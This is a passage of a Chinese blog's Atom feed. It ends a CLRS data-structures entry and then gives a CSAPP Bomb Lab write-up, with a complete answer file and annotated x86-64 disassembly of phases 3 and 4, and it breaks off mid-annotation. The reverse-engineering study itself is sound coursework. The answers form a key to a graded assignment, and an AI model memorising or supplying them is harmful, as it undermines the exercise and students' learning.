次失败的概率 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><msub><mi>X</mi><mi>t</mi></msub><mo>≥</mo><mi>r</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>r</mi><mi mathvariant="normal">/</mi><mi>n</mi><msup><mo stretchy="false">)</mo><mi>t</mi></msup></mrow><annotation encoding="application/x-tex">P(X_t \ge r) = (1 - r / n)^t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0436em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">/</span><span class="mord mathnormal">n</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7936em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span></span></span></span></span></span></span>。</p><ol start="4"><li><p>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>r</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msubsup><msup><mi>r</mi><mi>t</mi></msup><mo>≤</mo><msup><mi>n</mi><mrow><mi>t</mi><mo>+</mo><mn>1</mn></mrow></msup><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>t</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\sum_{r = 0}^{n - 1} r^t \le n^{t + 1} / (t + 1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2537em;vertical-align:-0.2997em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.954em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7936em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p></li><li><p>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>E</mtext><mo stretchy="false">[</mo><msub><mi>X</mi><mi>t</mi></msub><mo stretchy="false">]</mo><mo>≤</mo><mi>n</mi><mi mathvariant="normal">/</mi><mo stretchy="false">(</mo><mi>t</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text E[X_t] \le n / (t + 1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p></li><li><p>证明 <code>COMPACT-LIST-SEARCH'(L, n, k, t)</code> 的期望运行时间为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>t</mi><mo>+</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(t + n / t)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span>。</p></li><li><p>证明 <code>COMPACT-LIST-SEARCH</code> 的期望运行时间为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>n</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\sqrt n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="padding-left:0.833em;">n</span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p>讨论为什么在 <code>COMPACT-LIST-SEARCH</code> 中假设所有键值都不同，以及当列表中包含重复键值时，随机跳跃不一定能在渐近意义上提供帮助。</p></li></ol><p>TODO: Morris 遍历</p><p>TODO：LCRS 平均时间复杂度分析</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/03/19/CLRS/elementary-data-structure/</id>
    <link href="https://blog.z0z0r4.top/2026/03/19/CLRS/elementary-data-structure/"/>
    <published>2026-03-19T05:59:34.000Z</published>
    <summary>
      <![CDATA[<p>数据结构部分将结合 <a href="/2026/01/18/CS61B-Note-Collection/">CS61B</a> 部分补充复杂度证明。</p>]]>
    </summary>
    <title>CLRS Elementary Data Structure</title>
    <updated>2026-04-10T07:19:03.994Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>2026-03-03 完成 😄</p><span id="more"></span><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">❯ ./bomb ans.txt</span><br><span class="line">Welcome to my fiendish little bomb. You have 6 phases with</span><br><span class="line">which to blow yourself up. Have a nice day!</span><br><span class="line">Phase 1 defused. How about the next one?</span><br><span class="line">That&#x27;s number 2.  Keep going!</span><br><span class="line">Halfway there!</span><br><span class="line">So you got that one.  Try this one.</span><br><span class="line">Good work!  On to the next...</span><br><span class="line">Curses, you&#x27;ve found the secret phase!</span><br><span class="line">But finding it and solving it are quite different...</span><br><span class="line">Wow! You&#x27;ve defused the secret stage!</span><br><span class="line">Congratulations! You&#x27;ve defused the bomb!</span><br></pre></td></tr></table></figure><p><a href="https://csapp.cs.cmu.edu/3e/bomb.tar">材料下载</a></p><p>其中可以将答案写在文件里面，然后运行 <code>./bomb ans.txt</code>，可以不用手动输入。</p><p>其次注意，必须在文件末尾留一个空行，不然会爆炸…</p><hr /><h2 id="参考答案"><a class="markdownIt-Anchor" href="#参考答案"></a> 参考答案</h2><details><summary>我的一份答案 ans.txt</summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Border relations with Canada have never been better.</span><br><span class="line">1 2 4 8 16 32</span><br><span class="line">0 207</span><br><span class="line">7 0 DrEvil</span><br><span class="line">9ON567</span><br><span class="line">4 3 2 1 6 5</span><br><span class="line">20</span><br></pre></td></tr></table></figure></details><p>我的一份注释 <a href="https://gist.github.com/z0z0r4/32628db54848b181a0dc4b5a0347bd58">https://gist.github.com/z0z0r4/32628db54848b181a0dc4b5a0347bd58</a></p><hr /><h2 id="phase-1"><a class="markdownIt-Anchor" href="#phase-1"></a> phase 1</h2><p><code>0x402400</code> 里面存了 <code>Border relations with Canada have never been better.</code></p><p>这个字符串就是答案。</p><h2 id="phase-2"><a class="markdownIt-Anchor" href="#phase-2"></a> phase 2</h2><p>读取六个数字，第一个数字必须为 1，然后要求前一个数字是后一个数字的两倍，即等比数列。</p><p>答案是 1 2 4 8 16 32。</p><h2 id="phase-3"><a class="markdownIt-Anchor" href="#phase-3"></a> phase 3</h2><p><code>phase_3</code> 读取两个数字到 <code>%rcx</code> 和 <code>%rdx</code>，要求 <code>%rcx</code> 即第一个数字的取值范围为 0~7，然后 <code>jmp  *0x402470(,%rax,8)</code> 会按照下面的跳表，跳到 8 种 case。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 0x402470:       0x0000000000400f7c      0x0000000000400fb9</span><br><span class="line">// 0x402480:       0x0000000000400f83      0x0000000000400f8a</span><br><span class="line">// 0x402490:       0x0000000000400f91      0x0000000000400f98</span><br><span class="line">// 0x4024a0:       0x0000000000400f9f      0x0000000000400fa6</span><br></pre></td></tr></table></figure><ul><li><code>%rax = 0</code> -&gt; <code>0x400f7c</code></li><li><code>%rax = 1</code> -&gt; <code>0x400fb9</code></li><li><code>%rax = 2</code> -&gt; <code>0x400f83</code></li><li><code>%rax = 3</code> -&gt; <code>0x400f8a</code></li><li><code>%rax = 4</code> -&gt; <code>0x400f91</code></li><li><code>%rax = 5</code> -&gt; <code>0x400f98</code></li><li><code>%rax = 6</code> -&gt; <code>0x400f9f</code></li><li><code>%rax = 7</code> -&gt; <code>0x400fa6</code></li></ul><p>8 种 case 都是对 <code>%eax</code> 的赋值，以及跳转到再后面的代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">// case 0</span><br><span class="line">400f7c:b8 cf 00 00 00       mov    $0xcf,%eax // %eax = 0xcf = 207</span><br><span class="line">400f81:eb 3b                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 2</span><br><span class="line">400f83:b8 c3 02 00 00       mov    $0x2c3,%eax // %eax = 0x2c3 = 707</span><br><span class="line">400f88:eb 34                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 3</span><br><span class="line">400f8a:b8 00 01 00 00       mov    $0x100,%eax // %eax = 0x100 = 256</span><br><span class="line">400f8f:eb 2d                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 4</span><br><span class="line">400f91:b8 85 01 00 00       mov    $0x185,%eax // %eax = 0x185 = 389</span><br><span class="line">400f96:eb 26                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 5</span><br><span class="line">400f98:b8 ce 00 00 00       mov    $0xce,%eax // %eax = 0xce = 206</span><br><span class="line">400f9d:eb 1f                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 6</span><br><span class="line">400f9f:b8 aa 02 00 00       mov    $0x2aa,%eax // %eax = 0x2aa = 682</span><br><span class="line">400fa4:eb 18                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// case 7</span><br><span class="line">400fa6:b8 47 01 00 00       mov    $0x147,%eax // %eax = 0x147 = 327</span><br><span class="line">400fab:eb 11                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// unknown</span><br><span class="line">400fad:e8 88 04 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">400fb2:b8 00 00 00 00       mov    $0x0,%eax // %eax = 0</span><br><span class="line">400fb7:eb 05                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">// 1</span><br><span class="line">400fb9:b8 37 01 00 00       mov    $0x137,%eax // %eax = 0x137 = 311</span><br></pre></td></tr></table></figure><ul><li><code>%rax = 0</code> -&gt; <code>0x400f7c</code> -&gt; 207</li><li><code>%rax = 1</code> -&gt; <code>0x400fb9</code> -&gt; 311</li><li><code>%rax = 2</code> -&gt; <code>0x400f83</code> -&gt; 707</li><li><code>%rax = 3</code> -&gt; <code>0x400f8a</code> -&gt; 256</li><li><code>%rax = 4</code> -&gt; <code>0x400f91</code> -&gt; 389</li><li><code>%rax = 5</code> -&gt; <code>0x400f98</code> -&gt; 206</li><li><code>%rax = 6</code> -&gt; <code>0x400f9f</code> -&gt; 682</li><li><code>%rax = 7</code> -&gt; <code>0x400fa6</code> -&gt; 327</li></ul><p>只要把上面对应的组合输入进去就是答案。</p><blockquote><p>但我还是不知道标 unknown 的有什么用，没有看到跳转到 0x400fad 的，可能疏忽了</p></blockquote><details><summary> phase_3 注释 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">0000000000400f43 &lt;phase_3&gt;:</span><br><span class="line">  400f43:48 83 ec 18          sub    $0x18,%rsp</span><br><span class="line">  400f47:48 8d 4c 24 0c       lea    0xc(%rsp),%rcx // %rcx = %rsp + 0xc int 4 bytes, num2</span><br><span class="line">  400f4c:48 8d 54 24 08       lea    0x8(%rsp),%rdx // %rdx = %rsp + 0x8 int 4 bytes, num1</span><br><span class="line">  400f51:be cf 25 40 00       mov    $0x4025cf,%esi // %esi = 0x4025cf (%d %d) (%rdx %rcx)</span><br><span class="line">  400f56:b8 00 00 00 00       mov    $0x0,%eax // %eax = 0 (the count of successfully parsed items)</span><br><span class="line">  400f5b:e8 90 fc ff ff       call   400bf0 &lt;__isoc99_sscanf@plt&gt;</span><br><span class="line">  400f60:83 f8 01             cmp    $0x1,%eax // cmp %eax, 0x1</span><br><span class="line">  400f63:7f 05                jg     400f6a &lt;phase_3+0x27&gt; // %eax &gt; 0x1</span><br><span class="line">  400f65:e8 d0 04 00 00       call   40143a &lt;explode_bomb&gt; // only one item, explode the bomb</span><br><span class="line">  400f6a:83 7c 24 08 07       cmpl   $0x7,0x8(%rsp) // cmp 0x8(%rsp) (num1), 0x7</span><br><span class="line">  400f6f:77 3c                ja     400fad &lt;phase_3+0x6a&gt; // num1 &gt; 0x7, if so jump to 400fad, which explodes the bomb</span><br><span class="line">  400f71:8b 44 24 08          mov    0x8(%rsp),%eax // %eax = 0x8(%rsp) (%eax = num1)</span><br><span class="line">  400f75:ff 24 c5 70 24 40 00 jmp    *0x402470(,%rax,8) // jump to the address stored at 0x402470 + %rax * 8, which is a jump table</span><br><span class="line"></span><br><span class="line">  // 0x402470:       0x0000000000400f7c      0x0000000000400fb9</span><br><span class="line">  // 0x402480:       0x0000000000400f83      0x0000000000400f8a</span><br><span class="line">  // 0x402490:       0x0000000000400f91      0x0000000000400f98</span><br><span class="line">  // 0x4024a0:       0x0000000000400f9f      0x0000000000400fa6</span><br><span class="line"></span><br><span class="line">  // case 0</span><br><span class="line">  400f7c:b8 cf 00 00 00       mov    $0xcf,%eax // %eax = 0xcf = 207</span><br><span class="line">  400f81:eb 3b                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line">  </span><br><span class="line">  // case 2</span><br><span class="line">  400f83:b8 c3 02 00 00       mov    $0x2c3,%eax // %eax = 0x2c3 = 707</span><br><span class="line">  400f88:eb 34                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // case 3</span><br><span class="line">  400f8a:b8 00 01 00 00       mov    $0x100,%eax // %eax = 0x100 = 256</span><br><span class="line">  400f8f:eb 2d                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // case 4</span><br><span class="line">  400f91:b8 85 01 00 00       mov    $0x185,%eax // %eax = 0x185 = 389</span><br><span class="line">  400f96:eb 26                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // case 5</span><br><span class="line">  400f98:b8 ce 00 00 00       mov    $0xce,%eax // %eax = 0xce = 206</span><br><span class="line">  400f9d:eb 1f                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // case 6</span><br><span class="line">  400f9f:b8 aa 02 00 00       mov    $0x2aa,%eax // %eax = 0x2aa = 682</span><br><span class="line">  400fa4:eb 18                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // case 7</span><br><span class="line">  400fa6:b8 47 01 00 00       mov    $0x147,%eax // %eax = 0x147 = 327</span><br><span class="line">  400fab:eb 11                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line">  </span><br><span class="line">  // unknown</span><br><span class="line">  400fad:e8 88 04 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  400fb2:b8 00 00 00 00       mov    $0x0,%eax // %eax = 0</span><br><span class="line">  400fb7:eb 05                jmp    400fbe &lt;phase_3+0x7b&gt;</span><br><span class="line"></span><br><span class="line">  // 1</span><br><span class="line">  400fb9:b8 37 01 00 00       mov    $0x137,%eax // %eax = 0x137 = 311</span><br><span class="line"></span><br><span class="line">  400fbe:3b 44 24 0c          cmp    0xc(%rsp),%eax // cmp 0xc + %rsp, %eax</span><br><span class="line">  400fc2:74 05                je     400fc9 &lt;phase_3+0x86&gt; // if equal, jump to 400fc9, which ends the phase</span><br><span class="line">  400fc4:e8 71 04 00 00       call   40143a &lt;explode_bomb&gt; // if not equal, explode the bomb</span><br><span class="line">  400fc9:48 83 c4 18          add    $0x18,%rsp // clean up the stack</span><br><span class="line">  400fcd:c3                   ret</span><br></pre></td></tr></table></figure></details><h2 id="phase-4"><a class="markdownIt-Anchor" href="#phase-4"></a> phase 4</h2><p>phase 4 给定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mn>0</mn><mo separator="true">,</mo><mn>14</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[0,14]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">14</span><span class="mclose">]</span></span></span></span> 二分查找，用一个寄存器 <code>%eax</code> 就可以简单的记录数字树中的路径，向左则 <code>%eax * 2</code>，向右则 <code>%eax * 2 + 1</code>，<code>*2</code> 可以每跳转一次左移一位，最后递归结束后可以得到完整的路径（注意是调用递归后才记录，所以是倒序的，人得从右往左读）</p><p>phase 4 要求 <code>%eax</code> 初始化时 0，<code>%eax</code> 结果是 0，也就是一直向左，不向右 +1。</p><p>最后要求第二个数字是 0（但我没看懂为什么这里突兀的多这一步，和整个前面的没法衔接起来…）</p><details><summary> phase_4 注释 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">0000000000400fce &lt;func4&gt;:</span><br><span class="line">  400fce: 48 83 ec 08           sub    $0x8,%rsp // 分配 0x8 字节</span><br><span class="line">  400fd2: 89 d0                 mov    %edx,%eax // %eax = %edx copy high to eax</span><br><span class="line">  400fd4: 29 f0                 sub    %esi,%eax // %eax = %eax - %esi // high - low</span><br><span class="line">  400fd6: 89 c1                 mov    %eax,%ecx // %ecx = %eax</span><br><span class="line">  400fd8: c1 e9 1f              shr    $0x1f,%ecx // %ecx &gt;&gt;= 31 取符号位</span><br><span class="line">  400fdb: 01 c8                 add    %ecx,%eax // %eax = %eax + %ecx 负数加 1，正数不变</span><br><span class="line">  400fdd: d1 f8                 sar    $1,%eax // %eax &gt;&gt;= 1 除以 2 // %eax = half of (high - low), rounded towards zero</span><br><span class="line">  400fdf: 8d 0c 30              lea    (%rax,%rsi,1),%ecx // %ecx = %rax + %rsi // mid = low + ((high - low) / 2)</span><br><span class="line"></span><br><span class="line">  400fe2: 39 f9                 cmp    %edi,%ecx // cmp %ecx, %edi // compare mid and target</span><br><span class="line">  400fe4: 7e 0c                 jle    400ff2 &lt;func4+0x24&gt; // 如果 %ecx &lt;= %edi，跳转到 400ff2</span><br><span class="line"></span><br><span class="line">  // mid &gt; target</span><br><span class="line">  400fe6: 8d 51 ff              lea    -0x1(%rcx),%edx // high = mid - 1</span><br><span class="line">  400fe9: e8 e0 ff ff ff        call   400fce &lt;func4&gt; // 递归调用 func4(mid -1, low)</span><br><span class="line">  400fee: 01 c0                 add    %eax,%eax // %eax *= 2</span><br><span class="line">  400ff0: eb 15                 jmp    401007 &lt;func4+0x39&gt; // 跳转到 401007</span><br><span class="line"></span><br><span class="line">  // mid &lt;= target</span><br><span class="line">  400ff2: b8 00 00 00 00        mov    $0x0,%eax // %eax = 0</span><br><span class="line">  400ff7: 39 f9                 cmp    %edi,%ecx // cmp %ecx, %edi // compare mid and target</span><br><span 